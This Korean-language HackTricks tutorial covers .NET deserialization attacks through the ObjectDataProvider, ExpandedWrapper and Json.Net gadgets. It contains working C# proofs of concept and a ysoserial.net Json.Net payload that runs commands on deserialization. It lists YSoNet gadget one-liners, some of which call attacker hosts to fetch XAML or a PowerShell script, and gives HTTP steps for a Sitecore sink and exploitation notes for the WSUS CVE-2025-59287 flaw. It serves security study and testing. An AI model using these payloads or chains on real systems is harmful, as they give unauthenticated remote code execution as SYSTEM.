기본 .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 글은 gadget ObjectDataProvider가 어떻게 악용되어 RCE를 얻는지Serialization 라이브러리 Json.Net 및 xmlSerializer가 해당 gadget으로 어떻게 악용될 수 있는지를 이해하는 데 전념합니다.

ObjectDataProvider Gadget

문서에 따르면: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
설명이 다소 애매하니, 이 클래스가 왜 흥미로운지 살펴보자: 이 클래스는 **임의의 object를 래핑(wrap)**하고, _MethodParameters_를 사용해 임의의 파라미터를 설정한 다음, MethodName을 사용해 해당 임의 객체의 임의 함수(위에서 설정한 파라미터로)를 호출할 수 있다.
따라서, 역직렬화되는 동안 해당 임의의 objectparameters를 가진 함수실행하게 된다.

이건 어떻게 가능한가

System.Windows.Data 네임스페이스는 PresentationFramework.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF에 위치하며, ObjectDataProvider가 정의되고 구현된 곳이다.

dnSpy를 사용하면 우리가 관심 있는 클래스의 코드를 inspect할 수 있다. 아래 이미지에서는 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name의 코드를 보고 있다.

보시다시피 MethodName이 설정되면 base.Refresh()가 호출된다. 이것이 무엇을 하는지 살펴보자:

자, 계속해서 this.BeginQuery()가 무엇을 하는지 보자. BeginQueryObjectDataProvider에 의해 오버라이드되어 있으며 다음과 같다:

코드 끝부분에서 this.QueryWorke(null)를 호출하는 것을 볼 수 있다. 그게 무엇을 실행하는지 보자:

이것은 QueryWorker 함수 전체 코드는 아니지만 흥미로운 부분을 보여준다: 코드가 this.InvokeMethodOnInstance(out ex);를 호출한다; 이 라인이 바로 설정된 method가 호출되는 부분이다.

만약 단순히 _MethodName_를 설정하는 것만으로 그것이 실행되는지 확인하고 싶다면, 다음 코드를 실행해 볼 수 있다:

C# demo: ObjectDataProvider triggers Process.Start
csharp
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

참고: System.Windows.Data를 로드하려면 참조로 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll 를 추가해야 합니다.

ExpandedWrapper

이전 익스플로잇을 사용할 때, 특정 경우에는 **객체(object)**가 ObjectDataProvider 인스턴스로 역직렬화되는(deserialized as) 경우가 있습니다(예: DotNetNuke vuln에서 XmlSerializer를 사용해 객체가 GetType으로 역직렬화된 경우). 이 경우 ObjectDataProvider 인스턴스에 감싸진 객체 타입(예: Process)을 알 수 없습니다. DotNetNuke vuln에 대한 자세한 정보는 여기에서 확인할 수 있습니다.

이 클래스는 주어진 인스턴스에 캡슐화된 객체들의 타입을 지정할 수 있게 해줍니다. 따라서 이 클래스는 소스 객체(ObjectDataProvider)를 새로운 객체 타입으로 캡슐화하고 우리가 필요한 속성(ObjectDataProvider.MethodNameObjectDataProvider.MethodParameters)을 제공하는 데 사용될 수 있습니다.
앞서 제시한 사례들에서 매우 유용한데, _ObjectDataProvider_를 ExpandedWrapper 인스턴스 안에 래핑하면 역직렬화될 때 이 클래스가 ObjectDataProvider 객체를 생성하여 _MethodName_에 지정된 **함수(function)**를 실행하게 됩니다.

다음 코드를 통해 이 래퍼를 확인할 수 있습니다:

C# 데모: ExpandedWrapper가 ObjectDataProvider를 캡슐화하는 예
csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page it is indicated that this library allows to Json.NET의 강력한 JSON serializer로 모든 .NET 객체를 직렬화(Serialize)하고 역직렬화(Deserialize)할 수 있다. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.

Json.Net 예제

First of all lets see an example on how to 직렬화/역직렬화 an object using this library:

C# 데모: Json.NET 직렬화/역직렬화
csharp
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net 악용

ysoserial.net을 사용하여 exploit를 만들었습니다:

text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

이 코드에서는 test the exploit를 실행해 볼 수 있습니다. 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다:

C# demo: Json.NET ObjectDataProvider exploitation PoC
csharp
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

고급 .NET Gadget Chains (YSoNet & ysoserial.net)

ObjectDataProvider + ExpandedWrapper 기법은 앞에서 소개한 많은 gadget chain 중 하나에 불과하며, 애플리케이션이 안전하지 않은 .NET 역직렬화(unsafe .NET deserialization) 를 수행할 때 악용될 수 있다. 현대의 레드팀 도구들인 YSoNet (구형인 ysoserial.net 포함)는 수십 개의 gadget 및 직렬화 포맷에 대해 바로 사용 가능한 악성 객체 그래프를 자동으로 생성한다.

아래는 YSoNet에 포함된 가장 유용한 체인들을 간추려 정리한 참고표로, 작동 원리의 간단한 설명과 페이로드 생성 예제 명령을 함께 보여준다.

Gadget 체인핵심 아이디어 / 프리미티브일반적인 직렬화기YSoNet 원라이너
TypeConfuseDelegateDelegateSerializationHolder 레코드를 변조하여, 인스턴스화되면 delegate가 공격자가 제공한 어떤 메서드(예: Process.Start)를 가리키도록 한다BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorSystem.Workflow.ComponentModel.ActivitySurrogateSelector를 악용하여 .NET ≥4.8 타입 필터링을 우회하고 제공된 클래스의 생성자를 직접 호출하거나 C# 파일을 즉석에서 컴파일한다BinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourSystem.Data.DataSet레거시 XML 표현을 이용해 <ColumnMapping> / <DataType> 필드를 채워 임의 타입을 인스턴스화한다(선택적으로 --spoofedAssembly로 어셈블리를 위조 가능)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsWPF가 활성화된 런타임(> .NET 5)에서 프로퍼티 getter를 연쇄해 System.CodeDom.Compiler.CompilerResults에 도달한 뒤, -c로 제공된 DLL을 컴파일하거나 로드한다Json.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)WPF의 System.Windows.Data.ObjectDataProvider를 사용해 제어된 인수로 임의의 정적 메서드를 호출한다. YSoNet은 악성 XAML을 원격 호스팅할 수 있는 편리한 --xamlurl 변형을 추가한다BinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)PowerShell이 객체를 역직렬화할 때 실행되는 ScriptBlockSystem.Management.Automation.PSObject에 삽입한다PowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

모든 페이로드는 기본적으로 stdout으로 출력되므로, ViewState 생성기, base64 인코더, HTTP 클라이언트 등 다른 도구로 파이프하는 것이 매우 쉽다.

YSoNet 빌드 / 설치

사전 컴파일된 바이너리가 Actions ➜ Artifacts / Releases에 없다면, 다음 PowerShell 원라이너가 빌드 환경을 설정하고 리포지토리를 클론한 뒤 Release 모드로 모든 것을 컴파일한다:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

컴파일된 ysonet.exeysonet/bin/Release/ 경로에서 찾을 수 있습니다.

실제 sink: Sitecore convertToRuntimeHtml → BinaryFormatter

인증된 Sitecore XP Content Editor 흐름에서 접근 가능한 실용적인 .NET sink:

  • Sink API: Sitecore.Convert.Base64ToObject(string) wraps new BinaryFormatter().Deserialize(...).
  • 트리거 경로: 파이프라인 convertToRuntimeHtmlConvertWebControlsid="{iframeId}_inner"인 형제 요소를 찾고 value 속성을 읽습니다. 이 값은 base64‐encoded serialized data로 처리되며, 결과는 string으로 캐스트되어 HTML에 삽입됩니다.
인증된 Sitecore sink 트리거 HTTP 흐름
text
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: 문자열을 반환하는 BinaryFormatter 체인(역직렬화 동안 부작용이 실행됨). 페이로드 생성은 YSoNet/ysoserial.net 참조.

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

Sitecore

사례 연구: WSUS unsafe .NET deserialization (CVE-2025-59287)

  • 제품/역할: Windows Server Update Services (WSUS) 역할 — Windows Server 2012 → 2025.
  • 공격 표면: IIS에서 호스팅되는 WSUS 엔드포인트(HTTP/HTTPS) TCP 8530/8531 (종종 내부에 노출; 인터넷 노출 시 고위험).
  • 근본 원인: 공격자가 제어하는 데이터를 레거시 formatters로 인증 없이 역직렬화함:
  • GetCookie() 엔드포인트는 BinaryFormatterAuthorizationCookie를 역직렬화합니다.
  • ReportingWebServiceSoapFormatter를 통해 안전하지 않은 역직렬화를 수행합니다.
  • 영향: 조작된 직렬화 객체가 역직렬화 중 gadget 체인을 트리거하여, WSUS 서비스(wsusservice.exe) 또는 IIS 앱 풀 wsuspool(w3wp.exe) 중 어느 쪽에서든 NT AUTHORITY\SYSTEM 권한으로 임의 코드 실행으로 이어집니다.

Practical exploitation notes

  • Discovery: TCP 8530/8531에서 WSUS를 스캔하세요. WSUS 웹 메서드에 도달하는 모든 pre-auth 직렬화된 blob을 BinaryFormatter/SoapFormatter 페이로드의 잠재적 sink로 간주하세요.
  • Payloads: YSoNet/ysoserial.net을 사용해 BinaryFormatter 또는 SoapFormatter 체인을 생성하세요(예: TypeConfuseDelegate, ActivitySurrogateSelector, ObjectDataProvider).
  • Expected process lineage on success:
  • wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe
  • w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기